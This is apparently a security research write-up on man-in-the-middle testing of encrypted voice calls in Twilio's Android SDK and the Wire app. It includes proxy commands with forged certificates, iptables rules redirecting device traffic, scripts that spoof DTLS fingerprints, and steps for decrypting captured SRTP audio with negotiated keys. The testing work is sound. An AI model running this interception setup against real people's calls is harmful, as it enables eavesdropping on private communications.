The traffic we want to intercept is not a HTTPS one (as we quickly learned by trying to forward it to Burp proxy). Thus, we used a general-purpose proxy tool, viproxy. We used it like this:

$ ./bin/viproxy -l 9090 -r 35.157.205.11:443 --l-ssl --l-sslcert chunderm.gll.twilio.com.crt \

  --l-sslkey chunderm.gll.twilio.com.pem --r-ssl -f twilio_chunderm_1.log

Certificate chunderm.gll.twilio.com.crt was generated specifically for this purpose and signed by CA that we previously added to the libtwilio_voice_android_so.so library. Common name in this certificate was set to chunderm.gll.twilio.com. Thus, the application trusted our proxy and we were finally able to get the traffic in clear-text.

The traffic that we observed contained SIP signaling. It was used to indicate initiated calls to the remote party, receive notifications regarding call status and negotiate media channels parameters. Exactly for this purpose the Twilio voice native library includes resiprocate source code. Let's briefly analyse the intercepted SIP messages.

Client (our test mobile app) sent the following SIP INVITE message:

INVITE sip:chunderm.gll.twilio.com:443;transport=tls SIP/2.0

Via: SIP/2.0/TLS 192.168.12.118;branch=z9hG4bK-524287-1---40ce49870111dfe0;rport

Max-Forwards: 70

Contact: <sip:VoiceSDK@192.168.12.118;ob;transport=tls>;+sip.instance="bd3b91dB35B543C6d83A09d877b0Dd5D"

To: <sip:chunderm.gll.twilio.com:443;transport=tls>

From: <sip:VoiceSDK@chunderm.gll.twilio.com>;tag=56541ce5

Call-ID: irMlCaSv9fso9ZI2vhCwOg..

CSeq: 1 INVITE

Allow: INVITE, ACK, CANCEL, OPTIONS, BYE

Content-Type: application/sdp

Supported: outbound, path, gruu

User-Agent: VoiceSDK

X-Twilio-BridgeToken: eyJ6a....

X-Twilio-Client: %7B%22mob...

X-Twilio-ClientVersion: 5

Content-Length: 1131

v=0

o=- 6896153525930087223 2 IN IP4 127.0.0.1

s=-

t=0 0

a=group:BUNDLE audio

a=msid-semantic: WMS 4f3033cBBB87fac4f85efe4E4a8Ef2dd

m=audio 9 UDP/TLS/RTP/SAVPF 111 103 9 0 8 105 13 110 113 126

c=IN IP4 0.0.0.0

a=rtcp:9 IN IP4 0.0.0.0

a=ice-ufrag:sdmi

a=ice-pwd:gw1kcxcee+d0P/MKRe2Bm5A7

a=ice-options:trickle

a=fingerprint:sha-256 1B:EA:BF:33:B8:11:26:6D:91:AD:1B:A0:16:FD:5D:60:59:33:F7:46:A3:BA:99:2A:1D:04:99:A6:F2:C6:2D:43

a=setup:actpass

...

a=ssrc:667633809 mslabel:4f3033cBBB87fac4f85efe4E4a8Ef2dd

a=ssrc:667633809 label:631b37accdEfD305ABcE805FdaDD25F5

Note the fingerprint parameter: sha-256 1B:EA:BF:33:B8:11:26:6D:91:AD:1B:A0:16:FD:5D:60:59:33:F7:46:A3:BA:99:2A:1D:04:99:A6:F2:C6:2D:43.

The server replied with the following:

SIP/2.0 200 OK

CSeq: 1 INVITE

Call-ID: irMlCaSv9fso9ZI2vhCwOg..

From: <sip:VoiceSDK@chunderm.gll.twilio.com>;tag=56541ce5

To: <sip:chunderm.gll.twilio.com:443;transport=tls>;tag=98073708_6772d868_46d541a4-5a12-4872-8aa4-31b1ca3e294b

Via: SIP/2.0/TLS 192.168.12.118;received=78.23.55.64;branch=z9hG4bK-524287-1---40ce49870111dfe0;rport=37922

Record-Route: <sip:172.21.5.43:10193;r2=on;transport=udp;ftag=56541ce5;lr>

Record-Route: <sip:35.157.205.11:443;r2=on;transport=tls;ftag=56541ce5;lr>

Server: Twilio

Contact: <sip:172.21.10.120:10193>

Allow: INVITE,ACK,CANCEL,OPTIONS,BYE

Content-Type: application/sdp

X-Twilio-CallSid: CA2fad432f2da6576c4735f03af99592af

Content-Length: 1039

X-Twilio-EdgeHost: ec2-35-157-205-11.eu-central-1.compute.amazonaws.com

X-Twilio-EdgeRegion: de1

X-Twilio-Zone: EU_FRANKFURT

v=0

o=root 219971503 219971503 IN IP4 172.21.25.231

s=Twilio Media Gateway

c=IN IP4 3.122.181.240

t=0 0

a=group:BUNDLE audio

a=ice-lite

m=audio 17612 RTP/SAVPF 111 0 126

a=rtpmap:111 opus/48000/2

a=rtpmap:0 PCMU/8000

a=rtpmap:126 telephone-event/8000

a=fmtp:126 0-16

a=ptime:20

a=maxptime:20

a=ice-ufrag:7d27112b7d583e977e998884781408ef

a=ice-pwd:5cfdaed470f11afc443384ae3a39434c

a=candidate:H37ab5f0 1 UDP 2130706431 3.122.181.240 17612 typ host

a=end-of-candidates

a=connection:new

a=setup:active

a=fingerprint:sha-256 33:4E:FE:3C:76:F2:04:B4:18:FC:95:85:56:3C:1C:A7:B0:87:39:15:3D:07:42:45:85:40:6C:2C:77:A9:80:76

a=mid:audio

...

Note the parameters c=IN IP4 3.122.181.240 and m=audio 17612 RTP/SAVPF 111 0 126. This sets DTLS-SRTP remote endpoint to 3.122.181.240:17612.

There is another fingerprint parameter in server's reply: sha-256 33:4E:FE:3C:76:F2:04:B4:18:FC:95:85:56:3C:1C:A7:B0:87:39:15:3D:07:42:45:85:40:6C:2C:77:A9:80:76.

If we look into the corresponding traffic capture we will see the UDP channel established between our application and 3.122.181.240:17612. The mobile app presented to the client the following certificate during DTLS handshake:

$ openssl x509 -text -noout -in incoming1.crt

Certificate:

    Data:

        Version: 3 (0x2)

        Serial Number:

            d3:83:6b:a2:6c:9e:c6:a3

        Signature Algorithm: ecdsa-with-SHA256

        Issuer: CN = WebRTC

        Validity

            Not Before: Mar 15 15:29:49 2020 GMT

            Not After : Apr 15 15:29:49 2020 GMT

        Subject: CN = WebRTC

        Subject Public Key Info:

            Public Key Algorithm: id-ecPublicKey

                Public-Key: (256 bit)

                pub:

                    04:d1:b2:19:57:ed:ec:17:70:05:02:0c:ea:4a:57:

                    2a:dc:f8:c2:c1:d2:83:b5:cf:38:dd:09:af:c3:b8:

                    d5:fe:e2:ac:c2:1e:e1:0f:d5:f2:b3:94:ba:e0:d5:

                    d0:a2:df:36:a3:f1:e7:a3:ca:c3:30:4c:8e:8b:78:

                    eb:b5:25:a9:2a

                ASN1 OID: prime256v1

                NIST CURVE: P-256

    Signature Algorithm: ecdsa-with-SHA256

         30:44:02:20:05:da:f7:2e:d4:01:a9:0f:dd:70:70:33:f5:1c:

         8e:f2:2e:51:d6:71:c9:07:d0:ef:1c:e1:4e:76:b1:f0:1f:e1:

         02:20:7a:cf:e0:49:a0:07:58:c6:b7:f5:8f:fe:2b:c3:91:ff:

         17:ea:72:62:0b:f0:22:80:7b:09:8e:4c:8a:83:a8:11

$ openssl x509 -noout -fingerprint -sha256 -inform pem -in incoming1.crt

SHA256 Fingerprint=1B:EA:BF:33:B8:11:26:6D:91:AD:1B:A0:16:FD:5D:60:59:33:F7:46:A3:BA:99:2A:1D:04:99:A6:F2:C6:2D:43

This is exactly the same fingerprint that client has sent in the SIP INVITE message, that was described earlier.

We saw that SIP signalling exchange with chunderm.gll.twilio.com negotiated DTLS certificates fingerprints. They can be used to validate the client. We can assume that client certificate can contain arbitrary information, it just has to have the fingerprint matching the one, that was transmitted in the signalling channel. However, this is a subject to verify.

Another parameter that was negotiated in this signalling channel is the remote endpoint to establish DTLS-SRTP channel:

c=IN IP4 3.122.181.240

...

m=audio 17612 RTP/SAVPF 111 0 126

In this case it is 3.122.181.240:17612.

This format for transferring media parameters is called Session Description Protocol (SDP). As we later learned, it is one of the recommended approaches for negotiating media channels in WebRTC. The SDP Anatomy article describes the most common parameters.

One important outcome is that the remote party in this case is Twilio server. This means that it has full control over voice communications and can (in theory) intercept the traffic, decrypt it, record it and even modify. This is what can be found on Twilio website regarding this link:

Media shared in Peer-to-Peer Rooms is encrypted end-to-end and can never be

accessed by Twilio.

Each Participant in a Peer-to-Peer Room negotiates a separate DTLS/SRTP

connection to every other participant. All media published to or subscribed from

the Room is sent over these secure connections, and is encrypted only at the

sender and decrypted only at the receiver.

Network Traversal Service TURN cannot decrypt media: TURN only routes the packet

between peers.

However, what we observed before could be just Twilio's "demo account" feature (as we used demo subscription). Indeed, Twilio server somehow has to insert "thank you for using Twilio demo account" voice message when making outgoing call.

Anyway, the idea of this exercise is to test resilience against man-in-the-middle attacker, not if Twilio servers sniff communications. Thus, the next step is to intercept DTLS-SRTP.

Intercepting DTLS-SRTP

Now we have our demultiplexing proxy tool ready and we know how to determine the remote endpoint it needs to connect to. We can automate it with "replace" scripts feature of viproxy tool. For that we launch it like this:

$ ./bin/viproxy -l 9090 -r 35.157.205.11:443 --l-ssl --l-sslcert chunderm.gll.twilio.com.crt \

   --l-sslkey chunderm.gll.twilio.com.pem --r-ssl \

   --resp-replace replace_run-stunproxy.rb -f twilio_chunderm_2.log

Where replace_run-stunproxy.rb contains the following:

# c=IN IP4 3.122.181.246

# m=audio 19516 RTP/SAVPF 111 0 126

if self.index('c=IN IP4 ')

  m = self.match('^c=IN IP4 (3\.122\.181\.[0-9]{1,3})')

  ip = m[1]

  m = self.match('^m=audio (\d+) RTP/SAVPF .+')

  port = m[1].to_i

  puts "DTLS-SRTP endpoint found (#{ip}:#{port}), launching proxy..."

  system("dtls-srtp-demux -H #{ip} -P #{port} -D 127.0.0.1 -d 8443 -h 127.0.0.1 -p 6001 &")

  :ok

end

We still need to forward DTLS-SRTP traffic from the mobile app to the intercepting proxy. This can be achieved with the following iptables command:

$ sudo iptables -t nat -A PREROUTING -p udp --dport 0:65535 -s 192.168.12.0/24 -d 3.122.181.0/24 -i wlan0 -j DNAT --to-destination 127.0.0.1:6001

We are almost ready, the remaining step is to prepare DTLS server.

Terminating DTLS with SRTP Extension

As we learned from RFC5764, DTLS handshake in DTLS-SRTP protocol relies on use_srtp extension. Thus, we need a TLS library which supports it. We chose GnuTLS as it has a useful API and plenty of examples for many cases.

We used mini-dtls-srtp server as an example and combined it with the corresponding documentation. The source code is published as dtls-srtp-server.

DTLS server should present some certificate to the remote client. We assumed that there are no specific requirements for it (at the time of writing we did not have any evidences saying the opposite). Thus, we tried to make it close to the ones we observed with the validity period extended:

Certificate:

    Data:

        Version: 3 (0x2)

        Serial Number: 5550018979492260217 (0x4d05a0db494fe979)

        Signature Algorithm: ecdsa-with-SHA256

        Issuer: CN = WebRTC

        Validity

            Not Before: Mar 11 15:14:00 2020 GMT

            Not After : Mar 11 15:14:00 2030 GMT

        Subject: CN = WebRTC

        Subject Public Key Info:

            Public Key Algorithm: id-ecPublicKey

                Public-Key: (256 bit)

                pub:

                    04:6d:49:e5:56:72:f8:f3:13:34:94:ae:a2:0e:11:

                    dc:a9:a1:6e:62:1e:8c:e6:59:80:f3:6d:c6:42:5c:

                    22:e6:c9:20:83:ba:f2:49:1d:18:ad:38:a6:5f:d1:

                    7a:2b:d9:03:08:9b:bf:ef:39:96:94:f8:b2:6f:fd:

                    44:15:61:2d:93

                ASN1 OID: prime256v1

                NIST CURVE: P-256

    Signature Algorithm: ecdsa-with-SHA256

         30:44:02:20:1e:5d:99:c5:9b:c9:9e:b1:ee:bb:64:fd:30:86:

         c2:70:be:72:61:8e:fe:6d:bf:23:8d:da:87:91:e8:7e:c9:ad:

         02:20:77:f6:27:ce:ec:87:8e:e6:28:ab:df:e7:13:70:12:d9:

         8b:31:7c:84:3e:a5:37:88:f5:32:fd:1c:52:55:3f:7a

However, we noted that there is a requirement for private key used along with the certificate. It has to be generated with prime256v1 elliptic curve. This was a practical observation and the default curve used by GnuTLS.

For now we left the certificate and the corresponding private key hardcoded in our DTLS server. If we spot cases when client verifies certificate parameters other than fingerprint, we will add the corresponding test to our qsslcaudit tool.

Putting It All Together

As we have all the components ready, we can now test if Twilio server properly verifies client's DTLS certificate.

When our test application received the incoming voice call, our viproxy instance intercepted several SIP messages and determined remote DTLS-SRTP endpoint. Knowing its address, the proxy launched DTLS-SRTP multiplexing tool. This tool transparently forwarded all packets, except for DTLS. The latter was redirected to our DTLS server which terminated the connection.

Communications diagram:

Surprisingly our DTLS server returned negotiated SRTP keys:

Client key: 20b55cc952afc019b88e6bf2b938f465

Client salt: 52537c2d1142be963ceeb89f3917

Server key: 7a0c83f7bc03832ca37ba97bd6e0e111

Server salt: 9d1a8e282f6e66a83a77e25512d0

Wireshark captured the following DTLS handshake:

As can be seen in the screenshot, there is no DTLS alert message. Did we successfully spoofed the client? (Un)fortunately, no: immediately after this handshake, the server sent SIP BYE message:

BYE sip:VoiceSDK@78.23.55.64:38166;ob;transport=tls SIP/2.0

CSeq: 1 BYE

From: <sip:chunderm.gll.twilio.com:443;transport=tls>;tag=32934414_6772d868_c358fa1f-bffa-4081-8470-9fa6ff46176d

To: <sip:VoiceSDK@chunderm.gll.twilio.com>;tag=01ed5987

Call-ID: oc1h_oktbATMC4pHJ-kkpQ..

Max-Forwards: 69

User-Agent: Twilio

Via: SIP/2.0/TLS 35.157.205.11:443;branch=z9hG4bK6c4.566d9a05.0

Via: SIP/2.0/UDP 172.21.10.120:10193;branch=z9hG4bKc358fa1f-bffa-4081-8470-9fa6ff46176d_6772d868_440-16643670738841742609

X-Twilio-CallSid: CA2a489088afb6cb198c47fa45f038ff45

Content-Length: 0

It is the same message that was sent during normal voice call termination, no explicit error message provided. From user experience point of view, the application just stops the call.

The corresponding error message in the application's debug log (over ADB) is not verbose at all:

03-17 09:15:13.181 12647-12647/com.twilio.voice.quickstart D/VoiceActivity: Connect failure

03-17 09:15:13.181 12647-12647/com.twilio.voice.quickstart E/VoiceActivity: Call Error: 31005, Connection error

Previously enabled debug logging did not help either. However, it produced quite a lot of output, including SIP signalling messages.

The "Call Error" is returned by the following hook in its Java source code:

public void onConnectFailure(@NonNull Call call, @NonNull CallException error) {

    setAudioFocus(false);

    if (BuildConfig.playCustomRingback) {

        SoundPoolManager.getInstance(VoiceActivity.this).stopRinging();

    }

    Log.d(TAG, "Connect failure");

    String message = String.format(

            Locale.US,

            "Call Error: %d, %s",

            error.getErrorCode(),

            error.getMessage());

    Log.e(TAG, message);

    Snackbar.make(coordinatorLayout, message, Snackbar.LENGTH_LONG).show();

    resetUI();

}

We did not identify the exact source code responsible for handling the case that emits onConnectFailure() event.

In order to be confident that we did all things properly, we have to simulate the valid client's behaviour.

Spoofing DTLS Certificate Fingerprint

We configured our intercepting proxy to substitute mobile application's DTLS certificate fingerprint with the one that we use. This was accomplished by the following script for viproxy tool:

# replace client's certificate fingerprint

# (we do not care if we substitute server's certificate too)

# a=fingerprint:sha-256 1C:02:25:E....

#

if self.index('fingerprint:sha-256')

  fprint = "37:BE:BB:AA:0B:14:D5:0B:A5:A5:8D:A3:7C:25:00:E9:BE:FE:89:07:C0:35:66:9F:D0:54:20:BF:48:D4:E0:0F"

  self.gsub!(/^a=fingerprint:sha-256 .*$/, "a=fingerprint:sha-256 #{fprint}")

  puts "client's certificate fingerprint replaced"

  # send packet further

  :ok

end

The corresponding viproxy commandline:

$ ./bin/viproxy -l 9090 -r 35.157.205.11:443 --l-ssl --l-sslcert chunderm.gll.twilio.com.crt \

  --l-sslkey chunderm.gll.twilio.com.pem --r-ssl \

  --resp-replace replace_run-stunproxy.rb --req-replace replace_dtls-fingerprint.rb

Having such setup, we intercepted network traffic. Now the mobile client did not display any errors and we observed SRTP traffic:

There is no DTLS handshake in this excerpt, as we intercepted it before it reached the mobile client.

This means that our setup was correct. Twilio server indeed verifies the mobile client's DTLS certificate fingerprint.

Our DTLS server negotiated the following SRTP keys:

Client key: ef8122e36bdaeef5ed84723168ea8666

Client salt: 0cd646cd7ff704c309f77155f3dc

Server key: 11b6d02f9be14e79a248ecdce22fc2d0

Server salt: 99d5daf0d315869ec880d8b72ad8

We checked if we can decrypt the intercepted SRTP traffic with these keys. We tried to use ffmpeg project tools to avoid writing our own SRTP decrypt-assemble-play implementation.

Preparing the key in ffmpeg format:

# client --> server key

$ echo "11b6d02f9be14e79a248ecdce22fc2d099d5daf0d315869ec880d8b72ad8" | xxd -r -p | base64

EbbQL5vhTnmiSOzc4i/C0JnV2vDTFYaeyIDYtyrY

# server --> client key

$ echo "ef8122e36bdaeef5ed84723168ea86660cd646cd7ff704c309f77155f3dc" | xxd -r -p | base64

74Ei42va7vXthHIxaOqGZgzWRs1/9wTDCfdxVfPc

Running ffmpeg:

$ ffplay -srtp_in_suite AES_CM_128_HMAC_SHA1_80 -srtp_in_params 74Ei42va7vXthHIxaOqGZgzWRs1/9wTDCfdxVfPc srtp://192.168.0.176:8888

We replayed SRTP traffic that was originally sent by server to our mobile application:

# tcpreplay-edit --fixcsum --srcipmap=3.122.181.212:192.168.0.222 --dstipmap=192.168.12.118:192.168.0.176 \

  --portmap=50000-55000:8888 --enet-smac=00:....:9e --enet-dmac=10:...:20 --intf1=wlan0 incoming3_srtp.pcapng

For some reason, ffplay did not produce any output or sound. However, it printed the following errors when we used the incorrect key:

$ ffplay -srtp_in_suite AES_CM_128_HMAC_SHA1_80 -srtp_in_params EbbQL5vhTnmiSOzc4i/C0JnV2vDTFYaeyIDYtyrY srtp://192.168.0.176:8888

ffplay version 4.2.2-alt1 Copyright (c) 2003-2019 the FFmpeg developers

...

  libavdevice    58.  8.100 / 58.  8.100

  libavfilter     7. 57.100 /  7. 57.100

  libavresample   4.  0.  0 /  4.  0.  0

  libswscale      5.  5.100 /  5.  5.100

  libswresample   3.  5.100 /  3.  5.100

  libpostproc    55.  5.100 / 55.  5.100

HMAC mismatch 0.000 fd=   0 aq=    0KB vq=    0KB sq=    0B f=0/0   

    Last message repeated 1 times

HMAC mismatch 0.000 fd=   0 aq=    0KB vq=    0KB sq=    0B f=0/0   

HMAC mismatch 0.000 fd=   0 aq=    0KB vq=    0KB sq=    0B f=0/0   

HMAC mismatch 0.000 fd=   0 aq=    0KB vq=    0KB sq=    0B f=0/0   

    Last message repeated 1 times

This confirms that the keys we obtained can indeed be used to decrypt voice traffic.

Conclusion

With this exercise we learned a bit about DTLS-SRTP protocol (defined in RFC5764) and how it is used by Twilio platform for voice communications between Android mobile clients.

We were able to prepare the setup which allowed us to intercept various communication channels. The most important of them were the aforementioned DTLS-SRTP and SIP signalling channels. This required advanced usage of transparent TCP proxy to parse signalling data and development of following tools: DTLS server and SRTP-DTLS demultiplexor.

We confirmed that Twilio properly verifies the fingerprint of mobile client's DTLS certificate. Together with proper validation of SIP signalling channel security, this prevents man-in-the-middle attacks against voice communications.

The described activity encouraged us to test other products which use DTLS-SRTP protocol. This we describe in the next section.

Wire

After looking into Twilio platform described above, we decided to assess other applications which use DTLS-SRTP protocol. Our fist victim was Wire platform/application. This was a lucky choice as it was a pleasure to work with an open source client which is well designed and written in clean style.

When we initiated this assessment we began with tooling and approach developed when working on Twilio platform. However, it turned out that some alterations were required. As a result, the description you have read in the previous chapter was slightly rewritten to comply with the updated software.

Our objective is not to fully assess Wire application but to make our understanding of media communications better, improve testing approach and corresponding software. Thus, we focused on intercepting and analysing network traffic during phone calls, keeping the rest to other researchers.

Setup

The application was installed on two different Android devices from Google Play store. Two new accounts were created. For brevity, let's call one device and application app1 and another one app2.

The application's version at the moment was 3.46.890:

$ adb shell dumpsys package com.wire | grep -B1 versionName

    versionCode=890 targetSdk=28

    versionName=3.46.890

Traffic Analysis

We captured the traffic the application produces when making the phone call. To capture DNS requests we started the capture process before the application launch.

We used the following setup:

app1 was running on the device with IP address 192.168.12.118
app2 was running on another device having IP address 192.168.0.221
the first device was connected to 192.168.0.0/24 network via test laptop, serving as a gateway, with IP address 192.168.12.1

If we exclude TLS-encrypted traffic, the application starts with STUN communications between two servers:

turn04.de.prod.wire.com, 116.203.131.31:3478 (both UDP and TCP)
turn03.de.prod.wire.com, 116.203.137.142:3478 (both UDP and TCP)

Both STUN channels were used to determine peer address in peer-to-peer setup (probably, for redundancy). In this case the negotiated peers were 192.168.0.221:55831 and 192.168.12.118:33880. The endpoints were negotiated in XOR-PEER-ADDRESS STUN attribute. Note that these are the IP address of app1 and app2. This allowed media traffic to be transmitted on the local network, without crossing the Internet.

After defining the peer channel, the applications establish DTLS-SRTP communication with each other over 192.168.0.221:55831 / 192.168.12.118:33880. In this channel, followed by several STUN messages, app2 starts DTLS handshake with app1:

Certificate presented by DTLS server:

$ openssl x509 -text -noout -in wire_outgoing-call1_app1.cert

Certificate:

    Data:

        Version: 3 (0x2)

        Serial Number:

            d3:50:43:ba:f1:bd:2f:e4

        Signature Algorithm: ecdsa-with-SHA256

        Issuer: CN = WebRTC

        Validity

            Not Before: Mar 17 09:18:28 2020 GMT

            Not After : Apr 17 09:18:28 2020 GMT

        Subject: CN = WebRTC

        Subject Public Key Info:

            Public Key Algorithm: id-ecPublicKey

                Public-Key: (256 bit)

                pub:

                    04:d7:26:d1:fe:00:f2:28:f0:95:44:f4:b5:f6:eb:

                    62:95:49:66:e6:57:83:3a:a5:76:5c:c7:22:b9:93:

                    a5:f3:cc:79:f9:68:c6:62:30:3e:f6:3e:33:63:68:

                    fb:aa:ec:4c:2f:83:b4:85:1e:f0:78:19:72:fc:39:

                    9c:18:8d:73:3e

                ASN1 OID: prime256v1

                NIST CURVE: P-256

    Signature Algorithm: ecdsa-with-SHA256

         30:46:02:21:00:a6:33:62:fe:2e:32:63:3f:47:33:ec:2f:85:

         0c:1e:94:f4:24:36:07:f1:70:d7:e9:01:7a:e5:d0:96:99:ed:

         db:02:21:00:bc:de:98:a3:88:f6:a9:bf:55:75:a3:70:9c:5c:

         27:f3:c2:25:ca:8f:64:a2:a7:10:47:35:59:90:63:a7:90:fb

We also noted that after initial handshake there were several data packets transmitted inside DTLS channel. Then SRTP flow starts with the first packet from app2:

When we initiated the similar call once more after relaunching the application, we noted that initial STUN communications were established with the same servers. The DTLS certificate presented by app1 was different:

$ openssl x509 -text -noout -in wire_outgoing-call2_app1.cert

Certificate:

    Data:

        Version: 3 (0x2)

        Serial Number:

            94:db:c9:6b:ef:06:88:d2

        Signature Algorithm: ecdsa-with-SHA256

        Issuer: CN = WebRTC

        Validity

            Not Before: Mar 17 10:21:47 2020 GMT

            Not After : Apr 17 10:21:47 2020 GMT

        Subject: CN = WebRTC

        Subject Public Key Info:

            Public Key Algorithm: id-ecPublicKey

                Public-Key: (256 bit)

                pub:

                    04:99:6b:45:17:c4:2c:b0:c3:82:95:c6:43:c0:8a:

                    65:74:e0:5e:75:c3:82:4b:2f:01:aa:e4:09:d5:67:

                    4e:b3:46:bf:83:da:8b:70:db:d2:79:8e:16:a8:13:

                    bc:89:29:36:60:e1:4b:a1:24:d0:93:83:fe:72:47:

                    f3:25:e3:5e:71

                ASN1 OID: prime256v1

                NIST CURVE: P-256

    Signature Algorithm: ecdsa-with-SHA256

         30:45:02:21:00:81:fa:e2:f7:57:18:cf:40:a7:0c:53:59:51:

         63:fb:35:4f:81:19:2d:6f:ed:2b:bd:5a:38:84:83:ac:e3:7f:

         42:02:20:21:3c:6c:20:bd:b9:ec:7f:09:4d:dd:df:5f:eb:1a:

         65:4b:10:98:ca:88:34:77:6e:0b:1a:42:de:89:95:c2:74

TLS Certificates Validation

We performed client-side TLS implementation test using our qsslcaudit tool. We checked all communication channels that we noted:

prod-nginz-https.wire.com
prod-nginz-ssl.wire.com
turn03.de.prod.wire.com
turn04.de.prod.wire.com

The results were perfectly fine for prod-nginz-https.wire.com and prod-nginz-ssl.wire.com, see the following excerpt:

$ qsslcaudit -l 0.0.0.0 -p 8443 --user-cert untrusted5.gremwell.com_cert+chain.pem --user-key untrusted5.gremwell.com.key --user-cn prod-nginz-https.wire.com  

...

tests results summary table:

+----|------------------------------------|------------|-----------------------------+

| ## |             Test Name              |   Result   |           Comment           | 

+----|------------------------------------|------------|-----------------------------+

|  1 | custom certificate trust           |   PASSED   |                             | 

|  2 | self-signed certificate for target |   PASSED   |                             | 

|    |  domain trust                      |            |                             | 

|  3 | self-signed certificate for invali |   PASSED   |                             | 

|    | d domain trust                     |            |                             | 

|  4 | custom certificate for target doma |   PASSED   |                             | 

|    | in trust                           |            |                             | 

|  5 | custom certificate for invalid dom |   PASSED   |                             | 

|    | ain trust                          |            |                             | 

|  8 | SSLv2 protocol support             |   PASSED   |                             | 

|  9 | SSLv3 protocol support             |   PASSED   |                             | 

| 10 | SSLv3 protocol and EXPORT grade ci |   PASSED   |                             | 

|    | phers support                      |            |                             | 

| 11 | SSLv3 protocol and LOW grade ciphe |   PASSED   |                             | 

|    | rs support                         |            |                             | 

| 12 | SSLv3 protocol and MEDIUM grade ci |   PASSED   |                             | 

|    | phers support                      |            |                             |

| 13 | TLS 1.0 protocol support           |   PASSED   |                             |

| 14 | TLS 1.0 protocol and EXPORT grade  |   PASSED   |                             |

|    | ciphers support                    |            |                             |

| 15 | TLS 1.0 protocol and LOW grade cip |   PASSED   |                             |

|    | hers support                       |            |                             |

| 16 | TLS 1.0 protocol and MEDIUM grade  |   PASSED   |                             |

|    | ciphers support                    |            |                             |

| 17 | TLS 1.1 protocol and EXPORT grade  |   PASSED   |                             |

|    | ciphers support                    |            |                             |

| 18 | TLS 1.1 protocol and LOW grade cip |   PASSED   |                             |

|    | hers support                       |            |                             |

| 19 | TLS 1.1 protocol and MEDIUM grade  |   PASSED   |                             |

|    | ciphers support                    |            |                             |

| 20 | TLS 1.2 protocol and EXPORT grade  |   PASSED   |                             |

|    | ciphers support                    |            |                             |

| 21 | TLS 1.2 protocol and LOW grade cip |   PASSED   |                             |

|    | hers support                       |            |                             |

| 22 | TLS 1.2 protocol and MEDIUM grade  |   PASSED   |                             |

|    | ciphers support                    |            |                             |

+----|------------------------------------|------------|-----------------------------+

most likely all connections were established by the same client

the first connection details:

source host: 192.168.12.118

dtls?: false

ssl errors: The TLS/SSL connection has been closed The remote host closed the connection

ssl conn established?: true

socket errors ids: 1 1

received data, bytes: 317

transmitted data, bytes: 4231

protocol: TLSv1.2

accepted ciphers: TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256:TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384:TLS_EMPTY_RENEGOTIATION_INFO_SCSV

SNI: prod-nginz-https.wire.com

ALPN: h2, http/1.1

qsslcaudit version: 0.8.1

However, the client trusts any certificate when connecting to TURN servers:

$ qsslcaudit -l 0.0.0.0 -p 8443 --user-cert untrusted5.gremwell.com_cert+chain.pem --user-key untrusted5.gremwell.com.key --user-cn turn03.de.prod.wire.com

...

tests results summary table:

+----|------------------------------------|------------|-----------------------------+

| ## |             Test Name              |   Result   |           Comment           | 

+----|------------------------------------|------------|-----------------------------+

|  1 | custom certificate trust           | FAILED !!! | mitm possible               | 

|  2 | self-signed certificate for target | FAILED !!! | -//-                        | 

|    |  domain trust                      |            |                             | 

|  3 | self-signed certificate for invali | FAILED !!! | -//-                        | 

|    | d domain trust                     |            |                             | 

|  4 | custom certificate for target doma | FAILED !!! | -//-                        | 

|    | in trust                           |            |                             | 

|  5 | custom certificate for invalid dom | FAILED !!! | -//-                        | 

|    | ain trust                          |            |                             | 

|  8 | SSLv2 protocol support             |   PASSED   |                             |

|  9 | SSLv3 protocol support             |   PASSED   |                             |

| 10 | SSLv3 protocol and EXPORT grade ci |   PASSED   |                             |

|    | phers support                      |            |                             |

| 11 | SSLv3 protocol and LOW grade ciphe |   PASSED   |                             |

|    | rs support                         |            |                             |

| 12 | SSLv3 protocol and MEDIUM grade ci |   PASSED   |                             |

|    | phers support                      |            |                             |

| 13 | TLS 1.0 protocol support           | FAILED !!! |                             |

| 14 | TLS 1.0 protocol and EXPORT grade  |   PASSED   |                             |

|    | ciphers support                    |            |                             |

| 15 | TLS 1.0 protocol and LOW grade cip |   PASSED   |                             |

|    | hers support                       |            |                             |

| 16 | TLS 1.0 protocol and MEDIUM grade  | FAILED !!! |                             |

|    | ciphers support                    |            |                             |

| 17 | TLS 1.1 protocol and EXPORT grade  |   PASSED   |                             |

|    | ciphers support                    |            |                             |

| 18 | TLS 1.1 protocol and LOW grade cip |   PASSED   |                             |

|    | hers support                       |            |                             |

| 19 | TLS 1.1 protocol and MEDIUM grade  | FAILED !!! |                             |

|    | ciphers support                    |            |                             |

| 20 | TLS 1.2 protocol and EXPORT grade  |   PASSED   |                             |

|    | ciphers support                    |            |                             |

| 21 | TLS 1.2 protocol and LOW grade cip |   PASSED   |                             |

|    | hers support                       |            |                             |

| 22 | TLS 1.2 protocol and MEDIUM grade  | FAILED !!! |                             |

|    | ciphers support                    |            |                             |

+----|------------------------------------|------------|-----------------------------+

most likely all connections were established by the same client

the first connection details:

source host: 192.168.12.118

dtls?: false

ssl errors:

ssl conn established?: true

intercepted data:

qsslcaudit version: 0.8.1

It is a weird result, but we can not consider this as a security issue. The application transmits the same data simultaneously in plain text, using UDP and TCP channels. This communication channel is not used to transfer any sensitive data.

Media Flow Analysis

As was briefly mentioned previously, STUN protocol is used to negotiate peers. We have to parse the protocol in runtime and extract them. For this purpose we developed a stunpeersniff tool. This tool searches for XOR-PEER-ADDRESS attribute and launches UDP demultiplexor with the corresponding parameters. This UDP demux tool was described earlier: it searches for DTLS packets and forwards them to our DTLS server instance.

We forwarded STUN traffic, that was sent by app1, towards our TCP proxy with the following iptables command:

$ sudo iptables -t nat -A PREROUTING -p tcp --dport 3478 -s 192.168.12.0/24 -d 116.203.131.31 -i wlan0 -j DNAT --to-destination 127.0.0.1:6000

iptables command to forward DTLS-SRTP traffic to UDP demultiplexor:

$ sudo iptables -t nat -A PREROUTING -p udp --dport 10000:65535 -s 192.168.12.118 -d 192.168.0.221 -i wlan0 -j DNAT --to-destination 127.0.0.1:6001

STUN proxy command:

$ stunpeersniff -H 116.203.131.31 -P 3478 -h 127.0.0.1 -p 6000 -t dtls-srtp-demux

This setup intercepted the communications we need and forwarded DTLS handshake to our DTLS server.

DTLS server received Alert (Bad Certificate) DTLS error immediately after providing certificate. This confirms that the remote party (another mobile client in our case) validates DTLS certificate. It is a more robust behaviour than we observed with Twilio: DTLS handshake does not reach the point to derive SRTP encryption keys.

